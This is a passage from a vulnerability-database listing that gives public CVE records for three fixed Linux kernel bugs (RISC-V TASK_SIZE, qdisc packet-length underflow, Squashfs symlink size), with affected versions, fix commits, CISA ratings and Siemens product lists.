                  "versionEndExcluding": "6.1.90",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.30",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.9",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nriscv: Fix TASK_SIZE on 64-bit NOMMU\n\nOn NOMMU, userspace memory can come from anywhere in physical RAM. The\ncurrent definition of TASK_SIZE is wrong if any RAM exists above 4G,\ncausing spurious failures in the userspace access routines."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:15:07.389Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/04bf2e5f95c1a52e28a7567a507f926efe31c3b6"
        },
        {
          "url": "https://git.kernel.org/stable/c/52e8a42b11078d2aad4b9ba96503d77c7299168b"
        },
        {
          "url": "https://git.kernel.org/stable/c/4201b8c8f2c32af321fb50867e68ac6c1cbed4be"
        },
        {
          "url": "https://git.kernel.org/stable/c/a0f0dbbb1bc49fa0de18e92c36492ff6d804cdaa"
        },
        {
          "url": "https://git.kernel.org/stable/c/efdcfa554b6eb228943ef1dd4d023c606be647d2"
        },
        {
          "url": "https://git.kernel.org/stable/c/6065e736f82c817c9a597a31ee67f0ce4628e948"
        }
      ],
      "title": "riscv: Fix TASK_SIZE on 64-bit NOMMU",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35988",
    "datePublished": "2024-05-20T09:47:54.391Z",
    "dateReserved": "2024-05-17T13:50:33.146Z",
    "dateUpdated": "2026-05-12T11:53:28.452Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-49948 (GCVE-0-2024-49948)

Vulnerability from cvelistv5 – Published: 2024-10-21 18:02 – Updated: 2026-05-12 11:59

Title

net: add more sanity checks to qdisc_pkt_len_init()

Summary

In the Linux kernel, the following vulnerability has been resolved: net: add more sanity checks to qdisc_pkt_len_init() One path takes care of SKB_GSO_DODGY, assuming skb->len is bigger than hdr_len. virtio_net_hdr_to_skb() does not fully dissect TCP headers, it only make sure it is at least 20 bytes. It is possible for an user to provide a malicious 'GSO' packet, total length of 80 bytes. - 20 bytes of IPv4 header - 60 bytes TCP header - a small gso_size like 8 virtio_net_hdr_to_skb() would declare this packet as a normal GSO packet, because it would see 40 bytes of payload, bigger than gso_size. We need to make detect this case to not underflow qdisc_skb_cb(skb)->pkt_len.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/d7d1a28f5dd57b4d8…
https://git.kernel.org/stable/c/473426a1d53a68dd1…
https://git.kernel.org/stable/c/566a931a1436d0e0a…
https://git.kernel.org/stable/c/2415f465730e48b6e…
https://git.kernel.org/stable/c/27a8fabc54d2f960d…
https://git.kernel.org/stable/c/9b0ee571d20a238a2…
https://git.kernel.org/stable/c/ff1c3cadcf405ab37…
https://git.kernel.org/stable/c/1eebe602a8d8264a1…
https://git.kernel.org/stable/c/ab9a9a9e9647392a1…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1def9238d4aa2146924994aa4b7dc861f03b9362 , < d7d1a28f5dd57b4d83def876f8d7b4403bd37df9 (git) Affected: 1def9238d4aa2146924994aa4b7dc861f03b9362 , < 473426a1d53a68dd1e718e6cd00d57936993fa6c (git) Affected: 1def9238d4aa2146924994aa4b7dc861f03b9362 , < 566a931a1436d0e0ad13708ea55479b95426213c (git) Affected: 1def9238d4aa2146924994aa4b7dc861f03b9362 , < 2415f465730e48b6e38da1c7c097317bf5dd2d20 (git) Affected: 1def9238d4aa2146924994aa4b7dc861f03b9362 , < 27a8fabc54d2f960d47bdfbebf2bdc6e8a92a4c4 (git) Affected: 1def9238d4aa2146924994aa4b7dc861f03b9362 , < 9b0ee571d20a238a22722126abdfde61f1b2bdd0 (git) Affected: 1def9238d4aa2146924994aa4b7dc861f03b9362 , < ff1c3cadcf405ab37dd91418a62a7acecf3bc5e2 (git) Affected: 1def9238d4aa2146924994aa4b7dc861f03b9362 , < 1eebe602a8d8264a12e35e39d0645fa88dbbacdd (git) Affected: 1def9238d4aa2146924994aa4b7dc861f03b9362 , < ab9a9a9e9647392a19e7a885b08000e89c86b535 (git)
Linux	Linux	Affected: 3.9 Unaffected: 0 , < 3.9 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.55 , ≤ 6.6.* (semver) Unaffected: 6.10.14 , ≤ 6.10.* (semver) Unaffected: 6.11.3 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-49948",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:36:47.619949Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:38:49.499Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:23:27.937Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:59:12.979Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/core/dev.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d7d1a28f5dd57b4d83def876f8d7b4403bd37df9",
              "status": "affected",
              "version": "1def9238d4aa2146924994aa4b7dc861f03b9362",
              "versionType": "git"
            },
            {
              "lessThan": "473426a1d53a68dd1e718e6cd00d57936993fa6c",
              "status": "affected",
              "version": "1def9238d4aa2146924994aa4b7dc861f03b9362",
              "versionType": "git"
            },
            {
              "lessThan": "566a931a1436d0e0ad13708ea55479b95426213c",
              "status": "affected",
              "version": "1def9238d4aa2146924994aa4b7dc861f03b9362",
              "versionType": "git"
            },
            {
              "lessThan": "2415f465730e48b6e38da1c7c097317bf5dd2d20",
              "status": "affected",
              "version": "1def9238d4aa2146924994aa4b7dc861f03b9362",
              "versionType": "git"
            },
            {
              "lessThan": "27a8fabc54d2f960d47bdfbebf2bdc6e8a92a4c4",
              "status": "affected",
              "version": "1def9238d4aa2146924994aa4b7dc861f03b9362",
              "versionType": "git"
            },
            {
              "lessThan": "9b0ee571d20a238a22722126abdfde61f1b2bdd0",
              "status": "affected",
              "version": "1def9238d4aa2146924994aa4b7dc861f03b9362",
              "versionType": "git"
            },
            {
              "lessThan": "ff1c3cadcf405ab37dd91418a62a7acecf3bc5e2",
              "status": "affected",
              "version": "1def9238d4aa2146924994aa4b7dc861f03b9362",
              "versionType": "git"
            },
            {
              "lessThan": "1eebe602a8d8264a12e35e39d0645fa88dbbacdd",
              "status": "affected",
              "version": "1def9238d4aa2146924994aa4b7dc861f03b9362",
              "versionType": "git"
            },
            {
              "lessThan": "ab9a9a9e9647392a19e7a885b08000e89c86b535",
              "status": "affected",
              "version": "1def9238d4aa2146924994aa4b7dc861f03b9362",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/core/dev.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.9"
            },
            {
              "lessThan": "3.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.55",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.55",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.14",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.3",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: add more sanity checks to qdisc_pkt_len_init()\n\nOne path takes care of SKB_GSO_DODGY, assuming\nskb-\u003elen is bigger than hdr_len.\n\nvirtio_net_hdr_to_skb() does not fully dissect TCP headers,\nit only make sure it is at least 20 bytes.\n\nIt is possible for an user to provide a malicious \u0027GSO\u0027 packet,\ntotal length of 80 bytes.\n\n- 20 bytes of IPv4 header\n- 60 bytes TCP header\n- a small gso_size like 8\n\nvirtio_net_hdr_to_skb() would declare this packet as a normal\nGSO packet, because it would see 40 bytes of payload,\nbigger than gso_size.\n\nWe need to make detect this case to not underflow\nqdisc_skb_cb(skb)-\u003epkt_len."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:42:38.409Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d7d1a28f5dd57b4d83def876f8d7b4403bd37df9"
        },
        {
          "url": "https://git.kernel.org/stable/c/473426a1d53a68dd1e718e6cd00d57936993fa6c"
        },
        {
          "url": "https://git.kernel.org/stable/c/566a931a1436d0e0ad13708ea55479b95426213c"
        },
        {
          "url": "https://git.kernel.org/stable/c/2415f465730e48b6e38da1c7c097317bf5dd2d20"
        },
        {
          "url": "https://git.kernel.org/stable/c/27a8fabc54d2f960d47bdfbebf2bdc6e8a92a4c4"
        },
        {
          "url": "https://git.kernel.org/stable/c/9b0ee571d20a238a22722126abdfde61f1b2bdd0"
        },
        {
          "url": "https://git.kernel.org/stable/c/ff1c3cadcf405ab37dd91418a62a7acecf3bc5e2"
        },
        {
          "url": "https://git.kernel.org/stable/c/1eebe602a8d8264a12e35e39d0645fa88dbbacdd"
        },
        {
          "url": "https://git.kernel.org/stable/c/ab9a9a9e9647392a19e7a885b08000e89c86b535"
        }
      ],
      "title": "net: add more sanity checks to qdisc_pkt_len_init()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-49948",
    "datePublished": "2024-10-21T18:02:05.121Z",
    "dateReserved": "2024-10-21T12:17:06.045Z",
    "dateUpdated": "2026-05-12T11:59:12.979Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-46744 (GCVE-0-2024-46744)

Vulnerability from cvelistv5 – Published: 2024-09-18 07:12 – Updated: 2026-05-12 11:57

Title

Squashfs: sanity check symbolic link size

Summary

In the Linux kernel, the following vulnerability has been resolved: Squashfs: sanity check symbolic link size Syzkiller reports a "KMSAN: uninit-value in pick_link" bug. This is caused by an uninitialised page, which is ultimately caused by a corrupted symbolic link size read from disk. The reason why the corrupted symlink size causes an uninitialised page is due to the following sequence of events: 1. squashfs_read_inode() is called to read the symbolic link from disk. This assigns the corrupted value 3875536935 to inode->i_size. 2. Later squashfs_symlink_read_folio() is called, which assigns this corrupted value to the length variable, which being a signed int, overflows producing a negative number. 3. The following loop that fills in the page contents checks that the copied bytes is less than length, which being negative means the loop is skipped, producing an uninitialised page. This patch adds a sanity check which checks that the symbolic link size is not larger than expected. -- V2: fix spelling mistake.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/f82cb7f24032ed023…
https://git.kernel.org/stable/c/1b9451ba6f21478a7…
https://git.kernel.org/stable/c/5c8906de98d0d7ad4…
https://git.kernel.org/stable/c/087f25b2d36adae19…
https://git.kernel.org/stable/c/fac5e82ab1334fc8e…
https://git.kernel.org/stable/c/c3af7e460a526007e…
https://git.kernel.org/stable/c/ef4e249971eb77ec3…
https://git.kernel.org/stable/c/810ee43d9cd245d13…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 6545b246a2c815a8fcd07d58240effb6ec3481b1 , < f82cb7f24032ed023fc67d26ea9bf322d8431a90 (git) Affected: 6545b246a2c815a8fcd07d58240effb6ec3481b1 , < 1b9451ba6f21478a75288ea3e3fca4be35e2a438 (git) Affected: 6545b246a2c815a8fcd07d58240effb6ec3481b1 , < 5c8906de98d0d7ad42ff3edf2cb6cd7e0ea658c4 (git) Affected: 6545b246a2c815a8fcd07d58240effb6ec3481b1 , < 087f25b2d36adae19951114ffcbb7106ed405ebb (git) Affected: 6545b246a2c815a8fcd07d58240effb6ec3481b1 , < fac5e82ab1334fc8ed6ff7183702df634bd1d93d (git) Affected: 6545b246a2c815a8fcd07d58240effb6ec3481b1 , < c3af7e460a526007e4bed1ce3623274a1a6afe5e (git) Affected: 6545b246a2c815a8fcd07d58240effb6ec3481b1 , < ef4e249971eb77ec33d74c5c3de1e2576faf6c90 (git) Affected: 6545b246a2c815a8fcd07d58240effb6ec3481b1 , < 810ee43d9cd245d138a2733d87a24858a23f577d (git)
Linux	Linux	Affected: 2.6.29 Unaffected: 0 , < 2.6.29 (semver) Unaffected: 4.19.322 , ≤ 4.19.* (semver) Unaffected: 5.4.284 , ≤ 5.4.* (semver) Unaffected: 5.10.226 , ≤ 5.10.* (semver) Unaffected: 5.15.167 , ≤ 5.15.* (semver) Unaffected: 6.1.110 , ≤ 6.1.* (semver) Unaffected: 6.6.51 , ≤ 6.6.* (semver) Unaffected: 6.10.10 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-46744",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-29T14:49:27.635364Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-29T14:49:42.459Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:17:35.583Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:57:43.603Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/squashfs/inode.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "f82cb7f24032ed023fc67d26ea9bf322d8431a90",
              "status": "affected",
              "version": "6545b246a2c815a8fcd07d58240effb6ec3481b1",
              "versionType": "git"
            },
            {
              "lessThan": "1b9451ba6f21478a75288ea3e3fca4be35e2a438",
              "status": "affected",
              "version": "6545b246a2c815a8fcd07d58240effb6ec3481b1",
              "versionType": "git"
            },
            {
              "lessThan": "5c8906de98d0d7ad42ff3edf2cb6cd7e0ea658c4",
              "status": "affected",
              "version": "6545b246a2c815a8fcd07d58240effb6ec3481b1",
              "versionType": "git"
            },
            {
              "lessThan": "087f25b2d36adae19951114ffcbb7106ed405ebb",
              "status": "affected",
              "version": "6545b246a2c815a8fcd07d58240effb6ec3481b1",
              "versionType": "git"
            },
            {
              "lessThan": "fac5e82ab1334fc8ed6ff7183702df634bd1d93d",
              "status": "affected",
              "version": "6545b246a2c815a8fcd07d58240effb6ec3481b1",
              "versionType": "git"
            },
            {
              "lessThan": "c3af7e460a526007e4bed1ce3623274a1a6afe5e",
              "status": "affected",
              "version": "6545b246a2c815a8fcd07d58240effb6ec3481b1",
              "versionType": "git"
            },
            {
              "lessThan": "ef4e249971eb77ec33d74c5c3de1e2576faf6c90",
              "status": "affected",
              "version": "6545b246a2c815a8fcd07d58240effb6ec3481b1",
              "versionType": "git"
            },
            {
              "lessThan": "810ee43d9cd245d138a2733d87a24858a23f577d",
              "status": "affected",
              "version": "6545b246a2c815a8fcd07d58240effb6ec3481b1",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/squashfs/inode.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.29"
            },
            {
              "lessThan": "2.6.29",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.322",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.284",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.226",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.167",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.110",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.51",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.322",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.284",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.226",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.167",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.110",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.51",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.10",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nSquashfs: sanity check symbolic link size\n\nSyzkiller reports a \"KMSAN: uninit-value in pick_link\" bug.\n\nThis is caused by an uninitialised page, which is ultimately caused\nby a corrupted symbolic link size read from disk.\n\nThe reason why the corrupted symlink size causes an uninitialised\npage is due to the following sequence of events:\n\n1. squashfs_read_inode() is called to read the symbolic\n   link from disk.  This assigns the corrupted value\n   3875536935 to inode-\u003ei_size.\n\n2. Later squashfs_symlink_read_folio() is called, which assigns\n   this corrupted value to the length variable, which being a\n   signed int, overflows producing a negative number.\n\n3. The following loop that fills in the page contents checks that\n   the copied bytes is less than length, which being negative means\n   the loop is skipped, producing an uninitialised page.\n\nThis patch adds a sanity check which checks that the symbolic\nlink size is not larger than expected.\n\n--\n\nV2: fix spelling mistake."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:35:33.948Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/f82cb7f24032ed023fc67d26ea9bf322d8431a90"
        },
        {
          "url": "https://git.kernel.org/stable/c/1b9451ba6f21478a75288ea3e3fca4be35e2a438"
        },
        {
          "url": "https://git.kernel.org/stable/c/5c8906de98d0d7ad42ff3edf2cb6cd7e0ea658c4"
        },
        {
          "url": "https://git.kernel.org/stable/c/087f25b2d36adae19951114ffcbb7106ed405ebb"
        },
        {
          "url": "https://git.kernel.org/stable/c/fac5e82ab1334fc8ed6ff7183702df634bd1d93d"
        },
        {
          "url": "https://git.kernel.org/stable/c/c3af7e460a526007e4bed1ce3623274a1a6afe5e"
        },
        {
          "url": "https://git.kernel.org/stable/c/ef4e249971eb77ec33d74c5c3de1e2576faf6c90"
        },
        {
